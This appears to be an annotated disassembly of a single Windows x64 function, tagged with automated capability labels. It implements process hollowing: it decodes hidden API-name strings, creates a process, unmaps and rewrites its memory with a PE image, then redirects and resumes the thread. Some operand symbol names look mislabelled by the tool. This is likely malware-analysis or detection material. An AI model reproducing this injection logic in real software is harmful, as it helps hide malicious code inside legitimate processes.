Function at 0x14001aa60
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov qword [rbp - 0x58], 0xfffffffffffffffe
mov qword [rsp + 0x238], rbx
mov rax, qword [0x140158280]
xor rax, rsp
mov qword [rbp + 0xd0], rax
mov r12, r8
mov rsi, rdx
mov r14, rcx
xor eax, eax
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x60], rax
mov qword [rbp - 0x80], rax
or ebx, 0xffffffff
mov dword [rbp - 0x60], ebx
lea rcx, [rbp - 0x60]
call fcn.140014490
mov r15d, eax
xor dil, dil
movzx r13d, byte [rbp + 0x150]
test r13b, r13b
je 0x14001ab91
call fcn.140016610
mov rcx, rax
xor eax, eax
test rcx, rcx
setne al
test eax, eax
jne 0x14001aaf9
mov ecx, 0x80004005
call fcn.14000f440
int3
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
add rax, 0x18
mov qword [rbp - 0x70], rax
movzx r9d, byte [rbp + 0x148]
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x78]
mov ecx, r15d
call fcn.14001bdc0
test al, al
je 0x14001ab70
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x14001ab70
lea rax, [rbp - 0x80]
mov qword [rsp + 0x28], rax
mov r15d, 1
mov dword [rsp + 0x20], r15d
lea r9d, [r15 + 1]
xor r8d, r8d
mov edx, 0x2000000
call fcn.140034de0
test eax, eax
je 0x14001ab70
xor r8d, r8d
mov rdx, qword [rbp - 0x78]
lea rcx, [rsp + 0x60]
call fcn.140034980
movzx edi, dil
test eax, eax
cmovne edi, r15d
mov rax, qword [rbp - 0x70]
lea rdx, [rax - 0x18]
lock add dword [rdx + 0x10], 0xffffffff
jg 0x14001ab88
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
test dil, dil
je 0x14001b0a3
mov dword [rbp + 0x54], 0x32336c65
mov word [rbp + 0x51], 0x7265
mov dword [rbp + 0x58], 0x6c6c642e
mov byte [rbp + 0x50], 0x4b
mov byte [rbp + 0x53], WSAGetLastError
mov byte [rbp + 0x5c], 0
lea rcx, [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x14001b0a3
mov dword [rbp + 0x8f], 0x6f436461
mov dword [rbp + 0x94], 0x74786574
mov dword [rbp + 0x88], 0x54746553
mov byte [rbp + 0x98], 0
mov word [rbp + 0x8c], 0x7268
mov byte [rbp + 0x8e], 0x65
mov byte [rbp + 0x93], WSAStartup
lea rdx, [rbp + 0x88]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140166e80], rax
mov word [rbp + 0x41], 0x7365
mov word [rbp + 0x47], 0x7268
mov word [rbp + 0x44], 0x656d
mov word [rbp + 0x4a], 0x6461
mov byte [rbp + 0x49], 0x65
mov byte [rbp + 0x43], 0x75
mov byte [rbp + 0x40], 0x52
mov byte [rbp + 0x46], 0x54
mov byte [rbp + 0x4c], 0
lea rdx, [rbp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140166e88], rax
mov dword [rbp + 0x79], 0x636f7250
mov word [rbp + 0x73], 0x696d
mov dword [rbp + 0x7d], 0x737365
mov word [rbp + 0x76], 0x7461
mov word [rbp + 0x71], 0x7265
mov byte [rbp + 0x78], 0x65
mov byte [rbp + 0x75], WSAGetLastError
mov byte [rbp + 0x70], 0x54
lea rdx, [rbp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140166e90], rax
mov dword [rbp + 0x6b], 0x417373
mov dword [rbp + 0x64], 0x72506574
mov word [rbp + 0x61], 0x6572
mov word [rbp + 0x68], 0x636f
mov byte [rbp + 0x63], reloc.OLEAUT32.dll_VarCyFromUI1
mov byte [rbp + 0x6a], 0x65
mov byte [rbp + 0x60], 0x43
lea rdx, [rbp + 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140166e98], rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x14001afcb
movsxd rdi, dword [r14 + 0x3c]
add rdi, r14
cmp dword [rdi], 0x4550
jne 0x14001afcb
lea rdx, [rbp - 0x5c]
mov rcx, rsi
call fcn.140035060
movzx ecx, word [rdi + 4]
mov edx, 0x14c
mov eax, dword [rbp - 0x5c]
cmp cx, dx
jne 0x14001ad1b
test eax, eax
jne 0x14001b0a3
mov edx, 0x8664
cmp cx, dx
jne 0x14001ad2e
cmp eax, 6
jne 0x14001b0a3
xor eax, eax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp - 0x50]
call fcn.140071640
mov dword [rbp - 0x50], 0x68
mov dword [rbp - 0x14], 0x101
xor ebx, ebx
mov word [rbp - 0x10], bx
lea rax, [rsp + 0x68]
xor r9d, r9d
test r13b, r13b
je 0x14001adae
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rbx
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov r8, r12
mov rdx, rsi
mov rcx, qword [rbp - 0x80]
call fcn.140034a60
jmp 0x14001ade1
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], ebx
xor r8d, r8d
mov rdx, r12
mov rcx, rsi
call qword [0x140166e98]
test eax, eax
je 0x14001afcd
mov edx, 8
xor ecx, ecx
lea r9d, [rdx - 4]
mov r8d, 0x1000
call fcn.140037e30
mov r13, rax
mov qword [rbp - 0x70], rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.140035530
mov rcx, qword [rsp + 0x68]
test eax, eax
je 0x14001afc1
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
lea r8, [rbp - 0x68]
call fcn.140036750
mov word [rbp + 0x27], 0x6c6c
mov dword [rbp + 0x22], 0x2e6c6c64
mov word [rbp + 0x20], 0x746e
mov byte [rbp + 0x29], bl
mov byte [rbp + 0x26], 0x64
mov dword [rbp + 0xb0], 0x6e6f6974
mov dword [rbp + 0xa1], 0x6d6e5574
mov word [rbp + 0xa9], 0x7765
mov word [rbp + 0xa6], 0x5670
mov byte [rbp + 0xa8], WSAGetLastError
mov dword [rbp + 0xac], 0x63655366
mov byte [rbp + 0xa0], Ordinal_79
mov byte [rbp + 0xb4], bl
mov byte [rbp + 0xa5], reloc.OLEAUT32.dll_VarCyFromUI1
mov byte [rbp + 0xab], reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call rax
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call fcn.140037ec0
mov r15, rax
mov rcx, qword [rsp + 0x68]
test rax, rax
je 0x14001afc1
mov r9d, dword [rdi + 0x54]
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, rax
call fcn.140038260
movzx eax, word [rdi + 0x14]
mov esi, ebx
cmp bx, word [rdi + 6]
jae 0x14001af73
lea rbx, [rdi + 0x2c]
add rbx, rax
xor r13d, r13d
nop dword [rax]
nop word [rax + rax]
mov r9d, dword [rbx - 4]
mov r8d, dword [rbx]
add r8, r14
mov edx, dword [rbx - 8]
add rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, qword [rsp + 0x68]
call fcn.140038260
lea rbx, [rbx + 0x28]
inc esi
movzx eax, word [rdi + 6]
cmp esi, eax
jl 0x14001af40
mov r13, qword [rbp - 0x70]
xor ebx, ebx
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rbx
mov r9d, 8
lea r8, [rbp - 0x68]
mov rcx, qword [rsp + 0x68]
call fcn.140038260
mov eax, dword [rdi + 0x28]
add rax, r15
mov qword [r13 + 0x80], rax
mov rdx, r13
mov rcx, qword [rsp + 0x70]
call qword [0x140166e80]
mov rcx, qword [rsp + 0x70]
call qword [0x140166e88]
mov bl, 1
jmp 0x14001afcd
xor edx, edx
call qword [0x140166e90]
jmp 0x14001afcd
xor bl, bl
cmp qword [rsp + 0x60], 0
je 0x14001b07a
mov dword [rbp + 0x30], 0x72657355
mov dword [rbp + 0x34], 0x2e766e65
mov dword [rbp + 0x38], 0x6c6c64
mov word [rbp + 0xcb], 0x6f6c
mov word [rbp + 0xbd], 0x796f
mov word [rbp + 0xce], WSAStartup
mov dword [rbp + 0xc3], 0x6d6e6f72
mov dword [rbp + 0xb8], 0x74736544
mov dword [rbp + 0xbf], 0x69766e45
mov dword [rbp + 0xc7], 0x42746e65
mov byte [rbp + 0xcd], 0x63
mov byte [rbp + 0xbc], WSAStartup
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x14001b071
lea rdx, [rbp + 0xb8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140166ef8], rax
test rax, rax
je 0x14001b071
mov rcx, qword [rsp + 0x60]
call rax
xor edi, edi
mov qword [rsp + 0x60], rdi
jmp 0x14001b07c
xor edi, edi
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x14001b08f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x80], rdi
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x14001b09e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, bl
jmp 0x14001b0a5
xor al, al
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.14006ed70
mov rbx, qword [rsp + 0x238]
add rsp, 0x1e0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret